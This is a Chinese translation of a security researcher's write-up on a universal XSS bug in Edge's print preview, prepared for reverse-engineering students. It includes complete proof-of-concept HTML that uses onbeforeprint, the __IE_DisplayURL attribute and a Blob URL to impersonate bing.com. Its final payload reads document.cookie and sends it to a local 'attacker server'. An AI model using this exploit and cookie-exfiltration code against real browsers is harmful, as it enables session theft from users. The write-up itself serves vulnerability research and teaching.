本文的翻译是专门为逆向工程课程的学生准备的。
通用XSS(uXSS)是浏览器错误,可让您在任何站点上执行JavaScript代码。
似乎XSS遍及所有站点,并且看起来非常有趣。 更有趣的是我如何发现此错误。 通常,在谈到uXSS时,最有可能是由于IFRAME元素或对URL的挑衅,但我从没想过我会使用
print()
函数找到XSS漏洞。
预览窗口
让我们谈谈Edge显示打印预览窗口时实际发生的情况。
我一直以为只有
Canvas这样的技术绘制的屏幕截图,但是实际上您要打印的页面已复制到
temp并重新呈现!
在页面上执行
print()
,我们在
Process Monitor中看到以下文件系统活动:

因此,该文件是在Edge临时目录中创建的,该文件的内容是我们尝试打印的原始页面的略微修改版本。 让我们比较一下。
打印之前:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
打印后:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
从这个比较中我们可以注意到几件事。
- JavaScript编码和显示不正确。
- 现在,IFRAME指向同一目录中的另一个本地文件,该文件包含原始
bing.com
链接的源代码。 - HTML元素现在具有一个特殊的属性
__IE_DisplayURL
。
关于第一点和第二点,我进行了几次测试。 首先,我想了解在更改编码后是否可以获取有效的Javascript代码,以期最终可以运行Javascript。 事实证明,
<
script>
元素内部的任何代码(无论是否正常)都不会执行。
第二项帮助我使用CSS和选择器
@media print{}
功能公开了操作系统用户名。 我能够从IFRAME href值中获取它。 但是,这还不够。
在第三段中,它变得很有趣,因为该属性极为不同寻常,直到现在我还没有遇到过他。 我立即在Google上搜索并发现了几篇文章,据此我发现有人Masato Kinugawa已经与
他玩过并发现了很酷的bug。
经过阅读和实践后,我发现预览上下文可从该文档的来源中学习。 这是有道理的,因为Edge使用
file:
URI方案打开文件。 通过将此属性指向源,您将注意到来自文档的所有请求(作为预览的一部分)将模仿与来自原始网站的行为完全相同的行为。
我们如何使用此属性? 一定有办法!
带有预览的Java代码执行
正如我之前说过的,正常script标记中的任何JavaScript代码都将被阻止或被忽略。 但是,如果您以不同的方向思考怎么办? 我尽了我所能想到的一切,因此,我将避免浪费时间进行许多失败的尝试,并直奔主题。
在这里,我们要处理打印功能,因此我玩了与打印有关的事件。 结果由
"onbeforeprint"
提供给我的,在它的帮助下,我有机会实现了一个指向任何网站的IFRAME,Edge不需要先将其转换为文件。 几乎立即,我尝试实现一个指向Javascript代码URL和该dame的IFRAME! 该代码是在预览环境中执行的。
JavaScript注入测试:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
转换文档预览后:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
结果截图:

仅仅因为我们可以执行代码并不意味着我们就完成了。 如前所述,由于
__IE_DisplayURL
属性
__IE_DisplayURL
任何请求或API调用都将被视为从文档中传出。
UXSS实施
现在我们可以执行可执行代码,我们需要以某种方式使用自己的
__IE_DisplayURL
创建自己的“文档预览”,然后我们可以模拟为uXSS选择的任何网站。
我发现使用
Blob URL可以达到预期的效果! 因此,我制作了自己的可打印文档,其属性指向目标站点(在我的情况下为
bing.com
)。 它包含Javascript IFRAME,该IFRAME好像来自
bing.com
。
我已经实现了以下代码:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
其中
top.document.getElementById('qd').value
是要打印的下一个伪造文档。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
我要做的就是阅读
document.cookie
并将其发送回服务器。
现在,让我们总结一下漏洞利用的最终版本:
- 使用
onbeforeprint
事件,我在打印之前注入了一个指向我的有效负载的IFRAME。 - 要初始化,我调用
window.print()
。 - 然后,Edge在渲染我的嵌入式代码时显示预览窗口;
- 嵌入式Javascript代码创建了一个Blob URL,其中包含我自己的
bing.com
可打印bing.com
,并将顶部框架重定向到该地址。 - 打印预览上下文认为我的Blob URL的内容是真实可打印的,并使用
__IE_DisplayURL
属性将文档的来源设置为bing.com
。 - 伪造的可打印文档本身包含另一个IFRAME,它仅显示来自
bing.com
。 - uXSS有效!
最终代码和视频
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
有用的链接:→
Microsoft.com